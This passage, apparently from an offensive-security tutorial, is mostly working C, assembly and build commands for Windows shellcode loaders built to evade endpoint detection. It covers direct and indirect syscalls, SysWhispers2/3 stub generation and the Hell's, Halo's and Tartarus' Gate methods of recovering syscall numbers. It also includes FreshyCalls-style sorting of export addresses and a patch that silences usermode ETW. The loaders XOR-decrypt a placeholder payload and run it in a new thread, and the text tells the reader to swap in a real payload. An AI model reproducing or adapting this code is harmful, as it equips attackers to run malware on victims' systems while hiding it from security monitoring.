MEM_COMMIT | MEM_RESERVE, // 0x3000
PAGE_READWRITE // 0x04 — RW only, not executable yet
);
if (status != 0) {
printf("[-] NtAllocateVirtualMemory failed: 0x%08X\n", status);
return 1;
}
printf("[+] Allocated %zu bytes at 0x%p\n", region, baseAddr);
// STEP 2: Decrypt shellcode (in-stack buffer, not from original buffer)
unsigned char decoded[sizeof(enc_shellcode)];
for (unsigned int i = 0; i < sc_len; i++) {
decoded[i] = enc_shellcode[i] ^ (unsigned char)xor_key;
}
// STEP 3: Write shellcode via direct syscall
SIZE_T written = 0;
status = NtWriteVirtualMemory(
hProc,
baseAddr,
decoded,
sc_len,
&written
);
if (status != 0) {
printf("[-] NtWriteVirtualMemory failed: 0x%08X\n", status);
return 1;
}
printf("[+] Wrote %zu bytes\n", written);
// Wipe decoded buffer from stack immediately
SecureZeroMemory(decoded, sizeof(decoded));
// STEP 4: Change protection to RX (no write)
PVOID protBase = baseAddr;
SIZE_T protSize = sc_len;
ULONG oldProtect = 0;
status = NtProtectVirtualMemory(
hProc,
&protBase,
&protSize,
PAGE_EXECUTE_READ, // 0x20 — executable + readable, NOT writable
&oldProtect
);
if (status != 0) {
printf("[-] NtProtectVirtualMemory failed: 0x%08X\n", status);
return 1;
}
printf("[+] Memory marked RX (was: 0x%X)\n", oldProtect);
// STEP 5: Create thread via direct syscall (no CreateThread!)
HANDLE hThread = NULL;
status = NtCreateThreadEx(
&hThread,
GENERIC_EXECUTE, // Thread access rights
NULL, // Object attributes (NULL = defaults)
hProc, // Process handle (current)
baseAddr, // Thread start address = shellcode
NULL, // Argument = NULL
0, // CreateFlags = 0 (run immediately)
0, 0, 0, NULL // Stack parameters (all 0 = defaults)
);
if (status != 0) {
printf("[-] NtCreateThreadEx failed: 0x%08X\n", status);
return 1;
}
printf("[+] Thread created: 0x%p — shellcode executing\n", hThread);
// STEP 6: Wait for thread (optional — beacon will loop indefinitely)
NtWaitForSingleObject(hThread, FALSE, NULL);
return 0;
}
# Build with SysWhispers2 generated stubs:
# Windows (MSVC + MASM):
cl.exe /nologo loader_sw2.c syscalls.c /Fe:loader.exe
ml64.exe /c /nologo syscallsstubs.asm
link.exe /nologo loader_sw2.obj syscalls.obj syscallsstubs.obj /out:loader.exe
# Linux cross-compile (NASM version):
# Note: Use SysWhispers3 for NASM output on Linux — see next section
python3 SysWhispers2/syswhispers.py --functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory,NtCreateThreadEx --output syscalls
# SysWhispers2 generates MASM — for Linux, use SysWhispers3 or convert to NASM manually
9. SysWhispers3 — Advanced Generation with More Options
SysWhispers3 extends SysWhispers2 with support for multiple output formats, x86/WoW64 compatibility, egg-hunting (for obfuscation), and inline assembly output.
9.1 Installation
git clone https://github.com/klezVirus/SysWhispers3
cd SysWhispers3
pip3 install -r requirements.txt
9.2 SysWhispers3 Modes and Output Formats
# ─── Standard mode (same as SW2 but more options) ───
python3 syswhispers.py \
--functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory,NtCreateThreadEx \
--output syscalls3
# ─── Specify output format ───
# MASM (default — for MSVC builds on Windows):
python3 syswhispers.py --functions NtCreateThreadEx --output sc3 --arch x64
# MinGW (GNU AS format — for cross-compile from Linux):
python3 syswhispers.py --functions NtCreateThreadEx --output sc3 --arch x64 --compiler mingw
# NASM format (for nasm -f win64):
python3 syswhispers.py --functions NtCreateThreadEx --output sc3 --arch x64 --compiler nasm
# ─── x86 / WoW64 support ───
python3 syswhispers.py --functions NtCreateThreadEx --output sc3 --arch x86
# ─── Egg hunter mode (obfuscated — hides syscall stubs in random locations) ───
python3 syswhispers.py \
--functions NtAllocateVirtualMemory,NtCreateThreadEx \
--output sc3_egg \
--recovery EGG_HUNTER
# ─── Stack randomization (randomize the return stack frame) ───
python3 syswhispers.py \
--functions NtAllocateVirtualMemory,NtCreateThreadEx \
--output sc3_stack \
--recovery JUMPER_RANDOMIZED
# ─── Preset — all NT functions ───
python3 syswhispers.py --preset all --output sc3_all
9.3 MinGW / NASM Build (Cross-Compile from Linux)
# SysWhispers3 with MinGW output:
python3 SysWhispers3/syswhispers.py \
--functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory,\
NtCreateThreadEx,NtOpenProcess,NtWaitForSingleObject \
--output syscalls3 \
--arch x64 \
--compiler mingw
# This generates:
# syscalls3.h → C header with declarations
# syscalls3.c → Runtime resolution logic
# syscalls3.asm → GNU AS format stubs
# Compile (Linux → Windows cross-compile):
x86_64-w64-mingw32-as -o syscalls3.o syscalls3.asm
x86_64-w64-mingw32-gcc -c syscalls3.c -o syscalls3_c.o -I.
x86_64-w64-mingw32-gcc loader.c syscalls3.o syscalls3_c.o -o loader.exe -mwindows -Wall
9.4 Egg Hunter Mode (Advanced Obfuscation)
Egg Hunter mode hides the syscall stubs — instead of the stubs being in your .text section, they're written to memory at runtime and found by scanning for a marker ("egg"). This defeats some static analysis tools that look for syscall stub patterns.
// How egg hunter mode works internally (concept):
// 1. At compile time, stubs are obfuscated/hidden
// 2. At runtime, SW3_GetSyscallAddress() scans memory for the egg marker
// 3. When found, it extracts and uses the stub
// 4. This makes static analysis much harder
// Usage is identical to normal SysWhispers3:
#include "syscalls3.h"
int main(void) {
SW3_PopulateSyscallList(); // Egg hunter variant — different internal mechanics
// ... same NtXxx calls as before
}
10. Hell's Gate — Dynamic Syscall Number Resolution
Hell's Gate solves the problem of EDR-hooked functions: if NtAllocateVirtualMemory is hooked, the first bytes are a JMP — the original syscall number is gone. Hell's Gate reads the syscall number directly from the function bytes when clean, and has fallback strategies when hooked.
10.1 How Hell's Gate Reads Syscall Numbers
// GitHub: https://github.com/am0nsec/HellsGate
// The key insight: if a function is unhooked, bytes 4-7 (after 4C 8B D1 B8)
// contain the syscall number directly. Read them instead of hardcoding.
typedef struct _VX_TABLE_ENTRY {
PVOID pAddress; // Address of the Nt* function
DWORD64 dwHash; // FNV1a hash of function name
WORD wSystemCall; // Extracted syscall number
} VX_TABLE_ENTRY, *PVX_TABLE_ENTRY;
// Core resolution function:
BOOL GetSyscallNumber(PVX_TABLE_ENTRY pVxTableEntry) {
PBYTE funcAddr = (PBYTE)pVxTableEntry->pAddress;
// Check for clean stub pattern: 4C 8B D1 B8 [num] 0F 05 C3
if (funcAddr[0] == 0x4C && funcAddr[1] == 0x8B &&
funcAddr[2] == 0xD1 && funcAddr[3] == 0xB8) {
// Syscall number is at bytes [4..5] (WORD)
pVxTableEntry->wSystemCall = *(WORD*)(funcAddr + 4);
return TRUE;
}
// If hooked (starts with E9 JMP), try scanning nearby stubs
// (Halo's Gate extension — see next section)
return FALSE;
}
10.2 Complete Hell's Gate Implementation
// hells_gate.c — Self-contained Hell's Gate implementation
// Adapted from the original PoC for clarity
#include <windows.h>
#include <winternl.h>
// FNV1a hash constant
#define FNV1A_PRIME 0x01000193
#define FNV1A_SEED 0x811c9dc5
typedef struct _VX_TABLE_ENTRY {
PVOID pAddress;
DWORD wSystemCall;
} VX_TABLE_ENTRY;
// ─────────────────────────────────────────────────────────────────
// FNV1a hash function — used to match function names without
// calling GetProcAddress (which EDR might hook)
// ─────────────────────────────────────────────────────────────────
DWORD djb2_hash(PCHAR str) {
DWORD hash = 5381;
int c;
while ((c = (unsigned char)*str++) != 0)
hash = ((hash << 5) + hash) + c;
return hash;
}
// ─────────────────────────────────────────────────────────────────
// Get function address from ntdll by walking its Export Directory
// WITHOUT calling GetProcAddress (bypasses any IAT hook)
// ─────────────────────────────────────────────────────────────────
PVOID GetFunctionAddressFromEAT(HMODULE hNtdll, DWORD nameHash) {
PIMAGE_DOS_HEADER dosHdr = (PIMAGE_DOS_HEADER)hNtdll;
PIMAGE_NT_HEADERS ntHdr = (PIMAGE_NT_HEADERS)((BYTE*)hNtdll + dosHdr->e_lfanew);
PIMAGE_EXPORT_DIRECTORY expDir = (PIMAGE_EXPORT_DIRECTORY)
((BYTE*)hNtdll + ntHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
PDWORD nameRva = (PDWORD)((BYTE*)hNtdll + expDir->AddressOfNames);
PWORD nameOrd = (PWORD) ((BYTE*)hNtdll + expDir->AddressOfNameOrdinals);
PDWORD funcRva = (PDWORD)((BYTE*)hNtdll + expDir->AddressOfFunctions);
for (DWORD i = 0; i < expDir->NumberOfNames; i++) {
PCHAR funcName = (PCHAR)((BYTE*)hNtdll + nameRva[i]);
// Only look at Nt* functions
if (funcName[0] != 'N' || funcName[1] != 't') continue;
if (djb2_hash(funcName) == nameHash) {
DWORD ordinal = nameOrd[i];
return (PVOID)((BYTE*)hNtdll + funcRva[ordinal]);
}
}
return NULL;
}
// ─────────────────────────────────────────────────────────────────
// Hell's Gate: extract syscall number from function bytes
// If clean, read from bytes[4..5]
// If hooked, return FALSE (caller handles via Halo's Gate)
// ─────────────────────────────────────────────────────────────────
BOOL ExtractSyscallNumber(PVOID funcAddr, PDWORD pSyscallNum) {
PBYTE p = (PBYTE)funcAddr;
// Pattern: 4C 8B D1 B8 [syscall_num] 0F 05 C3
if (p[0] == 0x4C && p[1] == 0x8B && p[2] == 0xD1 && p[3] == 0xB8) {
*pSyscallNum = *(DWORD*)(p + 4) & 0xFFFF; // Lower 2 bytes = syscall num
return TRUE;
}
return FALSE; // Likely hooked
}
// Usage:
int HellsGateDemo(void) {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
// Get NtAllocateVirtualMemory address WITHOUT GetProcAddress
DWORD hash_NtAlloc = djb2_hash("NtAllocateVirtualMemory");
PVOID pNtAlloc = GetFunctionAddressFromEAT(hNtdll, hash_NtAlloc);
DWORD sysnum = 0;
if (!ExtractSyscallNumber(pNtAlloc, &sysnum)) {
printf("[-] NtAllocateVirtualMemory is hooked — trying Halo's Gate\n");
// See Section 11 for hook recovery
return 1;
}
printf("[+] NtAllocateVirtualMemory syscall number: 0x%04X\n", sysnum);
// Store sysnum for use in your assembly stub
return 0;
}
11. Halo's Gate — Syscall Recovery from Hooked Functions
What it means: When an EDR hooks a function (overwrites the first bytes with JMP), Hell's Gate can't read the syscall number from it. Halo's Gate solves this by looking at adjacent functions in ntdll — they're laid out sequentially in memory, and their syscall numbers are consecutive integers. Find a clean neighbor, adjust the count, recover the target's syscall number.
11.1 The Key Insight
ntdll.dll export table (conceptual layout in memory):
─────────────────────────────────────────────────────
NtAccessCheck syscall 0x0000 ← sysnum 0 (first)
NtAccessCheckAndAudit syscall 0x0001
...
NtAllocateVirtualMemory syscall 0x0018 ← [HOOKED — can't read sysnum]
NtAllocateVirtualMemoryEx syscall 0x00CD ← [CLEAN — can read sysnum]
...
If NtAllocateVirtualMemory (sorted index N) is hooked,
and NtAllocateVirtualMemoryEx (sorted index N+1) is clean with sysnum X,
then NtAllocateVirtualMemory sysnum = X - 1
─────────────────────────────────────────────────────
11.2 Implementation
// halo_gate.c — Recovery for hooked functions
// Syscall numbers are assigned in alphabetical order of Nt* function names.
// Walk up/down from the hooked function to find clean neighbors,
// then calculate the hooked function's syscall number by offset.
DWORD RecoverSyscallFromNeighbors(HMODULE hNtdll, PVOID hookedFuncAddr) {
// Each Nt* stub in ntdll is approximately 32 bytes apart
// (exact size varies — safer to use EAT ordering)
PBYTE base = (PBYTE)hookedFuncAddr;
// Walk FORWARD through adjacent stubs (usually ~32 bytes each)
for (int offset = 1; offset <= 20; offset++) {
// Approximate next stub location
PBYTE candidate = base + (offset * 32);
// Check if this looks like a clean syscall stub
if (candidate[0] == 0x4C && candidate[1] == 0x8B &&
candidate[2] == 0xD1 && candidate[3] == 0xB8) {
DWORD neighborSysnum = *(DWORD*)(candidate + 4) & 0xFFFF;
// Our hooked function's sysnum = neighbor - offset
return neighborSysnum - offset;
}
}
// Walk BACKWARD
for (int offset = 1; offset <= 20; offset++) {
PBYTE candidate = base - (offset * 32);
if (candidate[0] == 0x4C && candidate[1] == 0x8B &&
candidate[2] == 0xD1 && candidate[3] == 0xB8) {
DWORD neighborSysnum = *(DWORD*)(candidate + 4) & 0xFFFF;
return neighborSysnum + offset;
}
}
return 0xFFFFFFFF; // Failed to recover
}
// ─────────────────────────────────────────────────────────────────
// More robust version: Use EAT-based sorted ordering
// ─────────────────────────────────────────────────────────────────
typedef struct _SYSCALL_ENTRY {
PVOID pAddress;
DWORD syscallNum;
CHAR name[128];
} SYSCALL_ENTRY;
// Build sorted syscall table from EAT
// Then for a hooked function, find its position in sorted order
// and calculate: syscallNum = position_in_sorted_Nt_functions
DWORD GetSyscallViaEATSorting(HMODULE hNtdll, const char* targetFunc) {
PIMAGE_DOS_HEADER dosHdr = (PIMAGE_DOS_HEADER)hNtdll;
PIMAGE_NT_HEADERS ntHdr = (PIMAGE_NT_HEADERS)((BYTE*)hNtdll + dosHdr->e_lfanew);
PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)
((BYTE*)hNtdll + ntHdr->OptionalHeader.DataDirectory[0].VirtualAddress);
PDWORD nameRva = (PDWORD)((BYTE*)hNtdll + exp->AddressOfNames);
PWORD nameOrd = (PWORD) ((BYTE*)hNtdll + exp->AddressOfNameOrdinals);
PDWORD funcRva = (PDWORD)((BYTE*)hNtdll + exp->AddressOfFunctions);
// Step 1: Collect all Nt* function addresses
PVOID ntFuncs[1024];
DWORD ntCount = 0;
PVOID targetAddr = NULL;
for (DWORD i = 0; i < exp->NumberOfNames; i++) {
PCHAR name = (PCHAR)((BYTE*)hNtdll + nameRva[i]);
if (name[0] == 'N' && name[1] == 't') {
PVOID addr = (PVOID)((BYTE*)hNtdll + funcRva[nameOrd[i]]);
ntFuncs[ntCount++] = addr;
if (strcmp(name, targetFunc) == 0)
targetAddr = addr;
}
}
// Step 2: Sort by address (ascending) — syscall numbers match this order
// Bubble sort (simple — small array):
for (DWORD i = 0; i < ntCount; i++)
for (DWORD j = 0; j < ntCount - i - 1; j++)
if ((ULONG_PTR)ntFuncs[j] > (ULONG_PTR)ntFuncs[j+1]) {
PVOID tmp = ntFuncs[j]; ntFuncs[j] = ntFuncs[j+1]; ntFuncs[j+1] = tmp;
}
// Step 3: Find targetAddr's position — that's its syscall number
for (DWORD i = 0; i < ntCount; i++)
if (ntFuncs[i] == targetAddr)
return i; // Position = syscall number!
return 0xFFFFFFFF;
}
12. Tartarus' Gate — EAT-Based Syscall Recovery
What it means: A variation that combines Hell's Gate and Halo's Gate, specifically dealing with cases where ntdll has been freshly loaded from disk (bypassing in-memory EDR hooks) or where the EDR has hooked ntdll so aggressively that neighbor scanning fails.
12.1 The Core Approach
// Tartarus' Gate — 3-strategy cascade:
// 1. Try Hell's Gate (direct syscall number from clean stub)
// 2. Try Halo's Gate (recover from hooked stub via neighbor scanning)
// 3. Load fresh ntdll from disk and read syscall number from the disk copy
// Strategy 3: Load ntdll from disk to bypass in-memory hooks
DWORD GetSyscallFromFreshNtdll(const char* funcName) {
// Load a SECOND copy of ntdll.dll from disk
// This copy is NOT in the process's module list — EDR won't hook it
HANDLE hFile = CreateFileA("C:\\Windows\\System32\\ntdll.dll",
GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
DWORD fileSize = GetFileSize(hFile, NULL);
BYTE* ntdllBuf = (BYTE*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, fileSize);
DWORD bytesRead;
ReadFile(hFile, ntdllBuf, fileSize, &bytesRead, NULL);
CloseHandle(hFile);
// Parse the PE headers of the disk copy
PIMAGE_DOS_HEADER dosHdr = (PIMAGE_DOS_HEADER)ntdllBuf;
PIMAGE_NT_HEADERS ntHdr = (PIMAGE_NT_HEADERS)(ntdllBuf + dosHdr->e_lfanew);
PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)
(ntdllBuf + ntHdr->OptionalHeader.DataDirectory[0].VirtualAddress);
PDWORD nameRva = (PDWORD)(ntdllBuf + exp->AddressOfNames);
PWORD nameOrd = (PWORD) (ntdllBuf + exp->AddressOfNameOrdinals);
PDWORD funcRva = (PDWORD)(ntdllBuf + exp->AddressOfFunctions);
DWORD result = 0xFFFFFFFF;
for (DWORD i = 0; i < exp->NumberOfNames; i++) {
PCHAR name = (PCHAR)(ntdllBuf + nameRva[i]);
if (strcmp(name, funcName) == 0) {
PBYTE func = ntdllBuf + funcRva[nameOrd[i]];
// Check for clean stub (from disk — should always be clean)
if (func[0] == 0x4C && func[1] == 0x8B &&
func[2] == 0xD1 && func[3] == 0xB8) {
result = *(DWORD*)(func + 4) & 0xFFFF;
}
break;
}
}
HeapFree(GetProcessHeap(), 0, ntdllBuf);
return result;
}
13. FreshyCalls / RecycledGate — Syscall Number Sorting
What it means: FreshyCalls resolves syscall numbers by sorting Nt* function addresses from the EAT in ascending order. Since Windows assigns syscall numbers sequentially (alphabetically by function name at each major version), the address-sorted order corresponds to syscall number order.
13.1 FreshyCalls Logic
// The key discovery: in ntdll.dll, Nt* functions appear in memory
// in the SAME ORDER as their syscall numbers (lowest address = lowest syscall number).
// This is because they're laid out alphabetically in the export table,
// and syscall numbers are assigned alphabetically at each Windows release.
// So: sort all Nt* function addresses → find position of your target → that's its syscall number
// RecycledGate extends this by additionally checking for hooked stubs
// and using the sorted address position to recover the number even when hooked.
typedef struct _SYSCALL_INFO {
PVOID address;
CHAR name[128];
DWORD syscallNum;
} SYSCALL_INFO;
int CompareByAddress(const void* a, const void* b) {
return (int)((ULONG_PTR)((SYSCALL_INFO*)a)->address - (ULONG_PTR)((SYSCALL_INFO*)b)->address);
}
DWORD RecycledGate_GetSyscallNumber(const char* targetFunc) {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
PIMAGE_DOS_HEADER dosHdr = (PIMAGE_DOS_HEADER)hNtdll;
PIMAGE_NT_HEADERS ntHdr = (PIMAGE_NT_HEADERS)((BYTE*)hNtdll + dosHdr->e_lfanew);
PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)
((BYTE*)hNtdll + ntHdr->OptionalHeader.DataDirectory[0].VirtualAddress);
PDWORD nameRva = (PDWORD)((BYTE*)hNtdll + exp->AddressOfNames);
PWORD nameOrd = (PWORD) ((BYTE*)hNtdll + exp->AddressOfNameOrdinals);
PDWORD funcRva = (PDWORD)((BYTE*)hNtdll + exp->AddressOfFunctions);
// Collect all Nt* functions
SYSCALL_INFO entries[1024];
int count = 0;
for (DWORD i = 0; i < exp->NumberOfNames; i++) {
PCHAR name = (PCHAR)((BYTE*)hNtdll + nameRva[i]);
if (name[0] == 'N' && name[1] == 't') {
entries[count].address = (PVOID)((BYTE*)hNtdll + funcRva[nameOrd[i]]);
strncpy_s(entries[count].name, sizeof(entries[count].name), name, _TRUNCATE);
count++;
}
}
// Sort by address (ascending) = sort by syscall number
qsort(entries, count, sizeof(SYSCALL_INFO), CompareByAddress);
// Assign syscall numbers based on sorted position
for (int i = 0; i < count; i++)
entries[i].syscallNum = i;
// Find target function
for (int i = 0; i < count; i++)
if (strcmp(entries[i].name, targetFunc) == 0)
return entries[i].syscallNum;
return 0xFFFFFFFF;
}
14. Indirect Syscalls — Defeating Stack-Based Hook Detection
What it means: Modern EDRs have evolved beyond checking if hooks are called — they now check WHERE the syscall instruction executes. If syscall runs from inside YOUR code (not from ntdll.dll's address range), the EDR flags it as suspicious. Indirect syscalls solve this by jumping to the syscall instruction that exists INSIDE ntdll, so from the kernel's perspective, the syscall came from ntdll.
14.1 The Problem with Direct Syscalls (Stack Traces)
Direct Syscall — EDR can detect this:
Call Stack when syscall fires:
[3] NtAllocateVirtualMemory (YOUR CODE in loader.exe) ← syscall is HERE (suspicious!)
[2] Allocate() in loader.exe
[1] main() in loader.exe
The 'syscall' instruction should execute inside ntdll.dll address range.
An EDR that monitors the return address of syscalls can see that yours came from loader.exe.
Some EDRs (CrowdStrike, SentinelOne) now check this.
Indirect Syscall — EDR sees a normal call stack:
Call Stack when syscall fires:
[3] NtAllocateVirtualMemory + 0x8 (INSIDE NTDLL) ← syscall is HERE (looks normal!)
[2] Allocate() in loader.exe
[1] main() in loader.exe
The 'syscall' instruction runs at a legitimate ntdll address.
EDR sees: "a function in loader.exe called NtAllocateVirtualMemory in ntdll — normal."
14.2 Finding the syscall Instruction Inside ntdll
// Find the address of the 'syscall' instruction (opcode: 0F 05)
// inside a specific Nt* function in ntdll
PVOID FindSyscallAddress(const char* funcName) {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
PBYTE func = (PBYTE)GetProcAddress(hNtdll, funcName);
if (!func) return NULL;
// Scan forward up to 32 bytes for the 'syscall' opcode (0F 05)
for (int i = 0; i < 32; i++) {
if (func[i] == 0x0F && func[i+1] == 0x05) {
return func + i; // Return address OF the syscall instruction
}
}
// If hooked (JMP at start), we need to find the syscall elsewhere
// Option A: Find it in a NEIGHBOR function (clean) and use that address
// The 'syscall' instruction is at the same relative offset in all clean stubs
// Option B: Use Halo's Gate to find a clean neighbor, then get its syscall addr
return NULL;
}
// Usage:
void* syscall_addr = FindSyscallAddress("NtAllocateVirtualMemory");
// syscall_addr now points to 0F 05 inside ntdll — use this in your stub
14.3 Indirect Syscall Assembly Stub
; indirect_syscall.asm — Indirect syscall stub
; 'syscall' jumps to the instruction INSIDE ntdll, not in our code
.data
; These addresses are populated at runtime
EXTERN _syscall_addr: QWORD ; Address of 'syscall' instruction in ntdll
EXTERN _syscall_num: DWORD ; Resolved syscall number
.code
NtAllocateVirtualMemory_Indirect PROC
; Set up syscall number (same as direct)
mov r10, rcx
mov eax, DWORD PTR [_syscall_num] ; Dynamically resolved syscall number
; Instead of 'syscall' here, JMP to ntdll's 'syscall' instruction
jmp QWORD PTR [_syscall_addr] ; Jump into ntdll at 0F 05 instruction
; Execution returns here after syscall (via the 'ret' in ntdll stub)
NtAllocateVirtualMemory_Indirect ENDP
14.4 Complete Indirect Syscall Implementation in C (Runtime)
// indirect_syscall.c — Full indirect syscall loader
// No external assembly files required — uses inline asm or runtime patching
#include <windows.h>
#include <stdio.h>
// ─────────────────────────────────────────────────────────────────
// Step 1: Resolve syscall number using FreshyCalls/EAT sorting
// Step 2: Find the 'syscall' instruction address in ntdll
// Step 3: At runtime, write a stub that: sets EAX, then JMPs to ntdll's syscall
// ─────────────────────────────────────────────────────────────────
typedef NTSTATUS (NTAPI* NtAllocateVirtualMemory_t)(
HANDLE, PVOID*, ULONG_PTR, PSIZE_T, ULONG, ULONG
);
typedef NTSTATUS (NTAPI* NtWriteVirtualMemory_t)(
HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T
);
typedef NTSTATUS (NTAPI* NtProtectVirtualMemory_t)(
HANDLE, PVOID*, PSIZE_T, ULONG, PULONG
);
typedef NTSTATUS (NTAPI* NtCreateThreadEx_t)(
PHANDLE, ACCESS_MASK, PVOID, HANDLE, PVOID, PVOID, ULONG, SIZE_T, SIZE_T, SIZE_T, PVOID
);
// Build indirect syscall stub dynamically in allocated memory
// Stub layout (x64, 16 bytes):
// mov r10, rcx (4C 8B D1) 3 bytes
// mov eax, <sysnum> (B8 XX XX XX XX) 5 bytes
// jmp [rip+0] (FF 25 00 00 00 00) 6 bytes + 8 byte addr
// <syscall_addr> 8 bytes
PVOID BuildIndirectStub(DWORD sysnum, PVOID syscallAddr) {
// Allocate RWX memory for the stub
BYTE* stub = (BYTE*)VirtualAlloc(NULL, 64, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!stub) return NULL;
int offset = 0;
// mov r10, rcx
stub[offset++] = 0x4C;
stub[offset++] = 0x8B;
stub[offset++] = 0xD1;
// mov eax, <sysnum>
stub[offset++] = 0xB8;
*(DWORD*)(stub + offset) = sysnum;
offset += 4;
// jmp [rip+0] — absolute indirect jump
stub[offset++] = 0xFF;
stub[offset++] = 0x25;
*(DWORD*)(stub + offset) = 0; // RIP+0 displacement
offset += 4;
// Target address (placed immediately after the jmp instruction)
*(PVOID*)(stub + offset) = syscallAddr;
offset += 8;
return stub;
}
// ─────────────────────────────────────────────────────────────────
// Main: Build and use indirect syscall stubs
// ─────────────────────────────────────────────────────────────────
PVOID FindSyscallInstruction(const char* funcName) {
PBYTE func = (PBYTE)GetProcAddress(GetModuleHandleA("ntdll.dll"), funcName);
if (!func) return NULL;
for (int i = 0; i < 32; i++)
if (func[i] == 0x0F && func[i+1] == 0x05) return func + i;
// If hooked, walk to a clean neighbor to get a valid 'syscall' address
// All clean stubs have 'syscall' at offset +8 from start
for (int offset = 1; offset <= 10; offset++) {
PBYTE neighbor = func + (offset * 32);
if (neighbor[0] == 0x4C && neighbor[1] == 0x8B && neighbor[2] == 0xD1)
for (int i = 0; i < 16; i++)
if (neighbor[i] == 0x0F && neighbor[i+1] == 0x05)
return neighbor + i;
}
return NULL;
}
DWORD GetSyscallNumberFromEAT(const char* funcName) {
// Use EAT-sorted approach (simplified — full version in Section 13)
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
PBYTE func = (PBYTE)GetProcAddress(ntdll, funcName);
if (func[0] == 0x4C && func[1] == 0x8B && func[2] == 0xD1 && func[3] == 0xB8)
return *(DWORD*)(func + 4) & 0xFFFF;
// If hooked, use EAT-sort method (RecycledGate) — see Section 13
return 0;
}
int main(void) {
// Encrypted shellcode (XOR 0x41 — replace with real payload)
unsigned char enc_sc[] = { 0xD1, 0xD1, 0xD1, 0x82 };
unsigned int sc_len = sizeof(enc_sc);
// Resolve syscall numbers
DWORD sn_NtAlloc = GetSyscallNumberFromEAT("NtAllocateVirtualMemory");
DWORD sn_NtWrite = GetSyscallNumberFromEAT("NtWriteVirtualMemory");
DWORD sn_NtProtect = GetSyscallNumberFromEAT("NtProtectVirtualMemory");
DWORD sn_NtThread = GetSyscallNumberFromEAT("NtCreateThreadEx");
// Find syscall instruction addresses (inside ntdll)
PVOID sa_NtAlloc = FindSyscallInstruction("NtAllocateVirtualMemory");
PVOID sa_NtWrite = FindSyscallInstruction("NtWriteVirtualMemory");
PVOID sa_NtProtect = FindSyscallInstruction("NtProtectVirtualMemory");
PVOID sa_NtThread = FindSyscallInstruction("NtCreateThreadEx");
// Build indirect stubs
NtAllocateVirtualMemory_t pNtAlloc = (NtAllocateVirtualMemory_t) BuildIndirectStub(sn_NtAlloc, sa_NtAlloc);
NtWriteVirtualMemory_t pNtWrite = (NtWriteVirtualMemory_t) BuildIndirectStub(sn_NtWrite, sa_NtWrite);
NtProtectVirtualMemory_t pNtProtect = (NtProtectVirtualMemory_t) BuildIndirectStub(sn_NtProtect, sa_NtProtect);
NtCreateThreadEx_t pNtThread = (NtCreateThreadEx_t) BuildIndirectStub(sn_NtThread, sa_NtThread);
printf("[+] Indirect stubs built\n");
printf(" NtAllocateVirtualMemory: 0x%04X → syscall @ 0x%p\n", sn_NtAlloc, sa_NtAlloc);
HANDLE hProc = (HANDLE)-1;
// Allocate memory via indirect syscall
PVOID base = NULL;
SIZE_T sz = sc_len;
pNtAlloc(hProc, &base, 0, &sz, 0x3000, 0x04);
// Decrypt and write shellcode
unsigned char decoded[64];
for (unsigned int i = 0; i < sc_len; i++) decoded[i] = enc_sc[i] ^ 0x41;
SIZE_T written = 0;
pNtWrite(hProc, base, decoded, sc_len, &written);
SecureZeroMemory(decoded, sizeof(decoded));
// Change to RX
PVOID pb = base; SIZE_T ps = sc_len; ULONG old;
pNtProtect(hProc, &pb, &ps, 0x20, &old);
// Create thread via indirect syscall
HANDLE hThread = NULL;
pNtThread(&hThread, GENERIC_EXECUTE, NULL, hProc, base, NULL, 0, 0, 0, 0, NULL);
// Wait
WaitForSingleObject(hThread, INFINITE);
return 0;
}
# Compile:
x86_64-w64-mingw32-gcc indirect_syscall.c -o indirect_loader.exe -mwindows
15. EtwTi (Kernel ETW Thread Intelligence) Evasion
What it means: Even with usermode hooks bypassed, Windows 10+ has a kernel-level ETW (Event Tracing for Windows) provider called Microsoft-Windows-Threat-Intelligence (EtwTi) that runs in the kernel and fires callbacks for operations like:
- Memory allocation (
VirtualAlloc/NtAllocateVirtualMemory— kernel callback) - File creation
- Process/thread creation
- Registry operations
This is separate from AMSI and usermode ETW patching. EtwTi fires BEFORE your code runs and is harder to disable without a kernel driver.
15.1 What EtwTi Watches
EtwTi Events (from Microsoft-Windows-Threat-Intelligence ETW provider):
─────────────────────────────────────────────────────────────────────
KERNEL_THREATINT_TASK_ALLOCVM → Memory allocation (VirtualAlloc*)
KERNEL_THREATINT_TASK_PROTECTVM → Permission changes (VirtualProtect*)
KERNEL_THREATINT_TASK_MAPVIEW → Section mapping (MapViewOfSection*)
KERNEL_THREATINT_TASK_QUEUEUSERAPC → APC queue (QueueUserAPC*)
KERNEL_THREATINT_TASK_SETTHREADCTX → Thread context modification
KERNEL_THREATINT_TASK_OPENPROCESS → OpenProcess calls
KERNEL_THREATINT_TASK_READVM → ReadProcessMemory*
KERNEL_THREATINT_TASK_WRITEVM → WriteProcessMemory*
KERNEL_THREATINT_TASK_REGISTRY → Registry modifications
15.2 Disabling EtwTi (Requires Kernel Access)
// EtwTi can only be fully disabled from kernel mode (requires a driver).
// Some techniques involve:
// 1. Patching the EtwpDebuggerData structure (risky, PatchGuard monitors this)
// 2. Using vulnerable signed drivers to get kernel write primitives
// 3. HyperVisor-based attacks (beyond scope of this note)
// From usermode, you can patch the usermode ETW component:
void PatchEtwEventWrite(void) {
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
FARPROC EtwEventWrite = GetProcAddress(ntdll, "EtwEventWrite");
DWORD oldProt;
VirtualProtect(EtwEventWrite, 1, PAGE_EXECUTE_READWRITE, &oldProt);
*(unsigned char*)EtwEventWrite = 0xC3; // ret — usermode ETW disabled
VirtualProtect(EtwEventWrite, 1, oldProt, &oldProt);
}
